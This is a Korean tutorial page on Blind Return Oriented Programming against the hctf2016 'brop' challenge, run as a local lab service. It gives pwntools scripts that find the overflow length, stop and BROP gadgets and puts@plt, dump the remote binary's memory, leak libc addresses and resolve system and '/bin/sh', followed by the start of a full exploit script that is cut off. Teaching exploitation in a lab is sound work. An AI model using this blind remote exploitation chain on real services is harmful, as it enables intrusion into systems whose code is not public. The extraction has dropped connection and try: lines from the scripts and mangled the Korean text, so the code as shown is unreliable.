08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

Similar documents
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

hlogin7

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Deok9_Exploit Technique

hlogin2

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

PowerPoint 프레젠테이션

강의10

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Microsoft Word - FunctionCall

MPLAB C18 C

Microsoft PowerPoint - chap06-2pointer.ppt

[8051] 강의자료.PDF

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

1. 안드로이드개발환경설정 안드로이드개발을위해선툴체인을비롯한다양한소프트웨어패키지가필요합니다 툴체인 (Cross-Compiler) 설치 안드로이드 2.2 프로요부터는소스에기본툴체인이 prebuilt 라는이름으로포함되어있지만, 리눅스 나부트로더 (U-boot)

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

6주차.key

untitled

SRC PLUS 제어기 MANUAL

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

PowerPoint 프레젠테이션

Linux Binary Hardening with Glibc Hyeonho Seo

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint Template

PowerPoint 프레젠테이션

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

PowerPoint 프레젠테이션

Microsoft Word - ExecutionStack

untitled

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

금오공대 컴퓨터공학전공 강의자료

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

PowerPoint 프레젠테이션

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

No Slide Title

Sena Technologies, Inc. HelloDevice Super 1.1.0

02 C h a p t e r Java

Microsoft PowerPoint - polling.pptx

C 언어 프로그래밊 과제 풀이

/chroot/lib/ /chroot/etc/

Microsoft PowerPoint - chap10-함수의활용.pptx

1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는

28 THE ASIAN JOURNAL OF TEX [2] ko.tex [5]

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

PowerPoint 프레젠테이션

휠세미나3 ver0.4

리눅스설치가이드 3. 3Rabbitz Book 을리눅스에서설치하기위한절차는다음과같습니다. 설치에대한예시는우분투서버 기준으로진행됩니다. 1. Java Development Kit (JDK) 또는 Java Runtime Environment (JRE) 를설치합니다. 2.


Chapter 4. LISTS

슬라이드 1

商用

Deok9_PE Structure

how_2_write_Exploit_4_the_MSF_v3.x.hwp

OCaml

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

PowerPoint 프레젠테이션

vi 사용법

Microsoft Word - readme.doc

PowerPoint 프레젠테이션

BMP 파일 처리

Remote UI Guide

본 강의에 들어가기 전

PowerPoint 프레젠테이션

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

LXR 설치 및 사용법.doc

Microsoft PowerPoint - es-arduino-lecture-03

슬라이드 1

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

KT AI MAKERS KIT 사용설명서 (Node JS 편).indd

Microsoft Word - building the win32 shellcode 01.doc

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

Microsoft PowerPoint - a10.ppt [호환 모드]

03장.스택.key

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

Microsoft PowerPoint - chap06-1Array.ppt

PowerPoint 프레젠테이션

Install stm32cubemx and st-link utility

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<31332DB9E9C6AEB7A2C7D8C5B72D3131C0E528BACEB7CF292E687770>

various tricks for remote linux exploits v3.pptx

슬라이드 제목 없음

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft PowerPoint - ch07 - 포인터 pm0415

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

lecture4(6.범용IO).hwp

Microsoft PowerPoint - 04-UDP Programming.ppt

Transcription:

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server settings Check Overflow Check stop gadget Check BROP gadget Get puts@plt address Dump memory Get puts@got address Leak address Libc Search Exploit code CVE-2013-2028 Setting up the test environment Download Exploit code Run Exploit code References BROP(Blind Return Oriented Programming) 소프트웨어를해킹할때대략 3가지의형태의공격대상이있습니다. Open-source ( 예 : Apache) Open-binary ( 예 : Internet Explorer) Closed-binary and source ( 예 : 일부독점네트워크서비스) BROP는 Closed-binary and source의서비스를공격할때사용할수있습니다. BROP는공격대상바이너리파일이없는상황에서 Exploit code를작성할수있는방법입니다. BROP 공격을사용하기위해서스택오버플로와 Crash가발생한후다시시작되는서비스가필요합니다. BROP 공격은서비스가 Crash가발생한후서비스의반응 ( 연결이닫히거나유지되거나 ) 을이용해완전한원격공격코드를구성할수있습니다. BROP 공격은원격시스템으로부터 Write() 와같은유용한 Gadget을가젯을유출합니다. 이러한가젯들을이용하여프로그램의메모리를덤프또는서비스프로그램의바이너리를추출할수있습니다. 그리고일반적인 ROP 공격도수행할수있습니다. BROP 공격은독점소프트웨어를공격하는것외에도바이너리가공개되지않은오픈소스소프트웨어를공격하는데매우유용합니다. BROP의공격순서는다음과같습니다. Stack overflow영역을찾고 Canaries 값도추출합니다. 다른가젯을찾을수있도록 ROP 체인을중지하는 "Stop Gadget" 를찾습니다. "Stop Gadget" 을이용하여레지스터에값을저장할수있는 "BROP Gadget" 을찾습니다. "BROP Gadget","Stop Gadget" 을이용하여필요한함수를찾습니다. read,write,strcmp, 등등이이후부터는일반적인 ROP와동일하게공격할수있습니다. BROP struct BROP 에대해설명하기전에 Stop Gadget 에대해간단하게설명하겠습니다. Stop Gadget 은 BROP Gadget 을찾기위해꼭필요함 Gadget 입니다. Stop Gadget 으로제일이상적인가젯은 Stack Overflow 전, 후의메시지가동일한것이제일이상적입니다. 즉, 해당프로그램을처음부터다시시작하거나, 취약성이있는함수의시작주소, 등이제일이상적입니다. BROP 는함수에인자값을전달하기위해필요한 Gadget 입니다. BROP 는다음과같은형태의 Gadget 을의미합니다. 주의할점은 pop instruction 이적은 BROP 를찾을경우어떤 Register 를사용하고있는지확인이어렵습니다. 즉, BROP Gadget 으로는 pop instruction 많고희소성이있는 Gadget 을찾는것이좋습니다.

ROP structure Number of registers ROP structure 1 pop register + ret 2 pop register * 2 + ret 3 pop register * 3 + ret 4 pop register * 4 + ret 5 pop register * 5 + ret 6 pop register * 6 + ret 다음과같이 Gadget은 POP instruction이많고희소성이있기때문에 BROP Gadget으로적합합니다. BROP Gadget 1 gdb-peda$ x/7i 0x4007ba 0x4007ba < libc_csu_init+90>: pop rbx 0x4007bb < libc_csu_init+91>: pop rbp 0x4007bc < libc_csu_init+92>: pop r12 0x4007be < libc_csu_init+94>: pop r13 0x4007c0 < libc_csu_init+96>: pop r14 0x4007c2 < libc_csu_init+98>: pop r15 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ 그리고해당 BROP Gadget 의주소 (0x4007ba) 가까이에 "pop rdi; ret", "pop rsi; pop r15; ret" Gadget을찾을수있습니다. BROP Gadget 2 gdb-peda$ x/2i 0x4007ba + 9 0x4007c3 < libc_csu_init+99>: pop rdi 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ x/3i 0x4007ba + 7 0x4007c1 < libc_csu_init+97>: pop rsi 0x4007c2 < libc_csu_init+98>: pop r15 0x4007c4 < libc_csu_init+100>: ret gdb-peda$ Find BROP 다음과같은형태로 BROP 가능성이있는 Gadget 을찾을수있습니다. Return address 에전달한값이값이 BROP 주소라면 Stack 에저장된값을레지스터에저장하고 Stop Gadget 으로이동하게됩니다. BROP 가아니라면프로세스가종료되거나 Memory leak 이발생합니다. 프로그램의반응을이용해 BROP 를찾을수있습니다. Number of registers ROP structure 1 BROP Address + p64(0x41) + Stop Gadget 2 BROP Address + p64(0x41) * 2 + Stop Gadget 3 BROP Address + p64(0x41) * 3 + Stop Gadget 4 BROP Address + p64(0x41) * 4 + Stop Gadget 5 BROP Address + p64(0x41) * 5 + Stop Gadget 6 BROP Address + p64(0x41) * 6 + Stop Gadget 그리고다음과같이 BROP Gadget 에대한검증이필요합니다. 앞에서설명한방식으로는 Stop Gadget 도 BROP Gadget 으로판단되기때문에다시한번검증이필요합니다.

앞에서설병한방식에서 Stop Gadget 을제거한값을전달해서프로세스가종료되거나에러가발생하면 BROP Gadget 이라고판단할수있습니다. Number of registers ROP structure 1 BROP Address + p64(0x41) 2 BROP Address + p64(0x41) * 2 3 BROP Address + p64(0x41) * 3 4 BROP Address + p64(0x41) * 4 5 BROP Address + p64(0x41) * 5 6 BROP Address + p64(0x41) * 6 Proof of concept Example code 아래코드는 hctf2016 에서출제된 BROP 문제입니다. puts() 함수를이용하여문자열을출력합니다. check() 함수를호출하여리턴되는값에 (True, False) 따라메시지가다르게출력됩니다. check() 함수는 read() 함수를이용하여사용자로부터값을입력받습니다. 입력받은값을저장할변수의크기는 50byte 이며, 사용자로부터입력받을수있는문자의수는 1024 입니다. 즉, 여기서 Stack Overflow 가발생합니다. 해당문제는소스코드와바이너리가제공되지않습니다. IP,Port 만제공되었으며힌트로 Overflow 크기만제공되었다고합니다. brop.c //gcc -fno-stack-protector brop.c -o brop #include <stdio.h> #include <unistd.h> #include <string.h> int i; int check(); int main(void){ setbuf(stdin,null); setbuf(stdout,null); setbuf(stderr,null); puts("welcome my friend,do you know password?"); if(!check()){ puts("do not dump my memory"); }else { puts("no password, no game"); } } int check(){ char buf[50]; read(stdin_fileno,buf,1024); return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); } Files run.sh brop https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c Test server settings

다음과같은 script 를이용하여테스트환경을구현할수있습니다. run.sh #!/bin/sh while true; do num=`ps -ef grep "socat" grep -v "grep" wc -l` if [ $num -eq 0 ]; then socat tcp4-listen:10001,reuseaddr,fork exec:./brop & fi done run.sh lazenca0x0@ubuntu:~/exploit/brop$./run.sh Check Overflow 다음코드를이용하여 Overflow 가발생하는문자열의길이를확인할수있습니다. 서버에전달할문자열의길이를 1 씩증가시켜서전달합니다. 문자열전달후서버의응답을확인합니다. "No password, no game" 이출력되면정상적인동작 "No password, no game" 이출력되지않으면 Overflow 발생 check_overflow() from pwn import * ip = '127.0.0.1' port = 10001 def check_overflow(): for i in range(1,4096): response = r.send("a" * i) response = r.recv() if 'No password, no game' in response: i += 1 else: r.close return i except EOFError as e: return i - 1 size = check_overflow() log.info('overflow size : ' + str(size)) 해당스크립드를실행하면다음과같이문자열의길이를확인할수있습니다. 즉, 해당길이의문자열뒤에원하는값을저장하면 Return address 를덮어쓸수있습니다. python./check_overflow.py lazenca0x0@ubuntu:~/exploit/brop$ python./check_overflow.py [*] Overflow size : 72 Check stop gadget

다음코드를이용하여 Stop Gadget 을찾을수있습니다. Return address 영역에 0x400000 부터값을 1 씩증가시켜시면서 Stop Gadget 을찾습니다. Return address 에저장된주소에의해 "WelCome my friend,do you know password?\n' 문자열이다시출력되는영역을찾습니다. find_stop_gadget base = 0x400000 def find_stop_gadget(size): p = log.progress("searching for Stop gadget ") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size payload += p64(addr) if offset % 0x100 == 0: log.info(" Progressed to 0x%x" % offset) r.send(payload) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: p.success("done") log.info("stop address: " + hex(addr)) return addr except Exception as e: 다음과같이앞에서작성한스크립트를이용해 Stop Gadget 을찾을수있습니다. python./find_stop_gadget.py lazenca0x0@ubuntu:~/exploit/brop$ python./find_stop_gadget.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 발견된 Stop Gadget 은 "_start() 함수의시작주소 " 입니다. 즉, 해당함수에의해 main() 함수가다시호출됩니다.

_start lazenca0x0@ubuntu:~/exploit/brop$ gdb -q./brop Reading symbols from./brop...(no debugging symbols found)...done. gdb-peda$ x/10i 0x4005c0 0x4005c0 <_start>: xor ebp,ebp 0x4005c2 <_start+2>: mov r9,rdx 0x4005c5 <_start+5>: pop rsi 0x4005c6 <_start+6>: mov rdx,rsp 0x4005c9 <_start+9>: and rsp,0xfffffffffffffff0 0x4005cd <_start+13>: push rax 0x4005ce <_start+14>: push rsp 0x4005cf <_start+15>: mov r8,0x4007d0 0x4005d6 <_start+22>: mov rcx,0x400760 0x4005dd <_start+29>: mov rdi,0x4006b6 gdb-peda$ Check BROP gadget 우선 BROP Gadget의가능성이있는 Gadget을찾기위해다음과같은형태의 ROP코드를전달합니다. 기본적인코드의형태는 Stop Gadget을찾을때와동일합니다. Paylaod에 BROP Gadget을찾기위해 Return address 영역뒤에레지스터에저장할값을저장하고마지막에 Stop Gadget을저장하였습니다. 여기에서는앞에서설명한 POP Instruction이 6개인 BROP를찾습니다. def maybe_brop_gadget(size, stop_gadget, addr): def maybe_brop_gadget(size, stop_gadget, addr): payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: return True return False except Exception as e: return False 다음과같이 Stop Gadget 을제거하고 BROP Gadget 으로추측되는주소만을사용해서전달합니다. 예외가발생하면 BROP Gadget 으로판단합니다.

def is_brop_gadget(size,addr): def is_brop_gadget(size,addr): payload += 'A' * size payload += p64(addr) payload += p64(0x41) * 10 response = r.recv() return False except Exception as e: return True 다음코드를이용하여 BROP Gadget 을찾을수있습니다. def find_brop_gadget(size,stop_gadget): def find_brop_gadget(size,stop_gadget): p = log.progress("searching for BROP gadget ") for offset in range(0x1,0x1000): if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) addr = int(base + offset) if maybe_brop_gadget(size,stop_gadget,addr): log.info('maybe BROP Gagget : ' + hex(int(base + offset))) if is_brop_gadget(size, addr): p.success("done") log.info('finded BROP Gagget : ' + hex(int(base + offset))) return addr 다음과같이 BROP Gadget 을찾을수있습니다. 앞에서설명했듯이 "pop rdi; ret" Gadget 도찾을수있습니다.

Find BROP Gadget lazenca0x0@ubuntu:~/exploit/brop$ python maybe_brop_gadget.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] Searching for BROP gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 Get puts@plt address 다음과같은방법으로 puts 함수의 plt 주소를찾을수있습니다. 해당프로그램에서문자를출력할때 printf(),puts() 함수를사용하고있다고가정을합니다. 해당함수들은첫번째인자값으로전달된주소에저장된값을출력합니다. 해당바이너리에 PIE 설정되지않았기때문에프로세스의기본시작주소는 0x400000 입니다. 그리고 0x400000 영역에 "\x7felf" 문자가저장되어있습니다., addr, "\x7felf" puts.

def find_puts_addr(size,stop_gadget,rdi_ret): def find_puts_addr(size,stop_gadget,rdi_ret): p = log.progress("searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) response = r.recv() if response.startswith('\x7felf'): p.success("done") log.success('find puts@plt addr: 0x%x' % addr) return addr addr += 1 except Exception as e: addr += 1 다음과같이 puts함수의 plt 주소를찾을수있습니다.

Find puts@plt lazenca0x0@ubuntu:~/exploit/brop$ python find_puts_addr.py [*] Overflow size : 72 [+] Searching for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] Searching for BROP gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Searching for the address of puts@plt : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [+] find puts@plt addr: 0x400555 [+] Puts plt : 0x400555 Dump memory 다음코드를이용하여프로그램의메모리를덤프할수있습니다. 앞에서찾은 puts@plt 주소를이용하여프로그램메모리를덤프할수있습니다.

def memory_dump(size,stop_gadget,rdi_ret,put_plt): def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" p = log.progress("memory dump") while now < end: if now % 0x100 == 0: log.info("progressed to 0x%x" % now) payload += 'A' * size payload += p64(rdi_ret) payload += p64(now) payload += p64(puts_plt) payload += p64(stop_gadget) data = r.recv(timeout=0.5) data = data[:data.index("\nwelcome")] except ValueError as e: data = data except Exception as e: continue if len(data.split()) == 0: data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) p.success("done") 스크립트를실행하면다음과같이 memory.dump 파일이생성됩니다.

memory.dump lazenca0x0@ubuntu:~/exploit/brop$ python memory_dump.py [*] Overflow size : 72 [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Puts plt : 0x400555 [+] Memory dump: Done [*] Progressed to 0x400000 [*] Progressed to 0x400100 [*] Progressed to 0x400200 [*] Progressed to 0x400300 [*] Progressed to 0x400400 [*] Progressed to 0x400500 [*] Progressed to 0x400900 [*] Progressed to 0x400a00 [*] Progressed to 0x400b00 [*] Progressed to 0x400c00 [*] Progressed to 0x400d00 [*] Progressed to 0x400e00 [*] Progressed to 0x400f00 lazenca0x0@ubuntu:~/exploit/brop$ ls brop BROP.py libc memory.dump run.sh lazenca0x0@ubuntu:~/exploit/brop$ file memory.dump memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading (Invalid argument) lazenca0x0@ubuntu:~/exploit/brop$ Get puts@got address 다음과같이 dump 된파일을이용하여 puts 함수의 got 주소값을찾을수있습니다. radare 를이용하여덤프한파일의분석이가능하며, 해당파일에서 puts@plt 영역을분석할수있습니다. 아래코드를보면 puts@plt 의실제주소는 0x00400560 이며, puts@got 의주소는 0x601018(0x00400566 + 0x200ab2) 라는것을확인할수있습니다. r2 -B 0x400000 memory.dump lazenca0x0@ubuntu:~/exploit/brop$ r2 -B 0x400000 memory.dump Warning: Cannot initialize program headers Warning: read (shdr) at 0x1b30 Warning: Cannot initialize section headers Warning: Cannot initialize strings table Warning: read (init_offset) Warning: read (main) Warning: read (get_fini) [0x008005c0]> pd 10 @ 0x400555 0x00400555 00ff add bh, bh 0x00400557 25b40a2000 and eax, 0x200ab4 0x0040055c 0f1f4000 nop [rax] 0x00400560 ff25b20a2000 jmp qword [rip+0x200ab2] 0x00400566 6800000000 push 0x0 0x0040056b e9e0ffffff jmp 0x400550 0x00400570 ff25aa0a2000 jmp qword [rip+0x200aaa] 0x00400576 6801000000 push 0x1 ; 0x00000001 0x0040057b e9d0ffffff jmp 0x400550 0x00400580 ff25a20a2000 jmp qword [rip+0x200aa2] [0x008005c0]>? 0x00400566 + 0x200ab2 6295576 0x601018 030010030 6.0M 60000:0018 6295576 00011000 6295576.0 0.000000 https://radare.gitbooks.io/radare2book/content/introduction/commandline_flags.html Leak address

다음코드를이용하여 puts@got 영역에저장된 libc address 를추출할수있습니다. def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) leakaddr = r.recvuntil("\nwelcome my friend,do you know password?\n", drop=true) leakaddr = u64(leakaddr.ljust(8, '\x00')) return leakaddr Leak the address of Libc lazenca0x0@ubuntu:~/exploit/brop$ python leak_address.py [*] Overflow size : 72 [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [+] Puts plt : 0x400555 [*] Address of puts in libc : 0x7f760f884690 lazenca0x0@ubuntu:~/exploit/brop$ Libc Search 다음과같이 libc-database 에서제공하는프로그램을이용하여 libc 의정보를찾을수있습니다. puts@got 에저장된값을추출하여프로그램에서사용하는 libc 파일의종류및필요한함수의 offset 을찾을수있습니다. Libc Search - libc-database lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./add /usr/lib/libc-2.26.so lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./find puts 690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./dump libc6_2.23-0ubuntu10_amd64 offset libc_start_main_ret = 0x20830 offset_system = 0x0000000000045390 offset_dup2 = 0x00000000000f7970 offset_read = 0x00000000000f7250 offset_write = 0x00000000000f72b0 offset_str_bin_sh = 0x18cd57 lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$./dump libc6_2.23-0ubuntu10_amd64 puts offset_puts = 0x000000000006f690 lazenca0x0@ubuntu:~/exploit/brop/libc/libc-database$ libc-database https://github.com/niklasb/libc-database 다음과같이 Python 패키지형태로사용가능합니다.

Libc Search - python from LibcSearcher import * lib = LibcSearcher('puts', addr_puts_libc) libcbase = addr_puts_libc - lib.dump('puts') system_addr = libcbase + lib.dump('system') binsh_addr = libcbase + lib.dump('str_bin_sh') log.info('libc base : ' + hex(libcbase)) log.info('system : ' + hex(system_addr)) log.info('binsh : ' + hex(binsh_addr)) LibcSearcher https://github.com/lieanu/libcsearcher Find libc offset lazenca0x0@ubuntu:~/exploit/brop$ python libc_search.py [*] Overflow size : 72 [*] STOP Gadget : 0x4005c0 [*] BROP Gadget : 0x4007ba [*] RDI Gadget : 0x4007c3 [*] Puts plt : 0x400555 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. [*] libc base : 0x7fc974723000 [*] system : 0x7fc974768390 [*] binsh : 0x7fc9748afd57 Exploit code BROP.py from pwn import * from LibcSearcher import * #context.log_level = 'debug' ip = '127.0.0.1' port = 10001 base = 0x400000 def find_stop_gadget(size): p = log.progress("searching for Stop gadget ") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size payload += p64(addr) if offset % 0x100 == 0: log.info(" Progressed to 0x%x" % offset) r.send(payload) response = r.recv(timeout=0.2)

if 'WelCome my friend,do you know password?' in response: p.success("done") log.info("stop address: " + hex(addr)) return addr except Exception as e: def check_overflow(): for i in range(1,4096): response = r.send("a" * i) response = r.recv() if 'No password, no game' in response: i += 1 else: return i except EOFError as e: return i - 1 def maybe_brop_gadget(size, stop_gadget, addr): payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) response = r.recv(timeout=0.2) if 'WelCome my friend,do you know password?' in response: return True return False except Exception as e: return False def is_brop_gadget(size,addr): payload += 'A' * size payload += p64(addr) payload += p64(0x41) * 10 response = r.recv() return False except Exception as e: return True def find_brop_gadget(size,stop_gadget): p = log.progress("searching for BROP gadget ") for offset in range(0x1,0x1000): if offset % 0x100 == 0:

log.info('progressed to 0x%x' % offset) addr = int(base + offset) if maybe_brop_gadget(size,stop_gadget,addr): log.info('maybe BROP Gagget : ' + hex(int(base + offset))) if is_brop_gadget(size, addr): p.success("done") log.info('finded BROP Gagget : ' + hex(int(base + offset))) return addr def find_puts_addr(size,stop_gadget,rdi_ret): p = log.progress("searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: log.info('progressed to 0x%x' % offset) response = r.recv() if response.startswith('\x7felf'): p.success("done") log.success('find puts@plt addr: 0x%x' % addr) return addr addr += 1 except Exception as e: addr += 1 def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" p = log.progress("memory dump") while now < end: if now % 0x100 == 0: log.info("progressed to 0x%x" % now) payload += 'A' * size payload += p64(rdi_ret) payload += p64(now) payload += 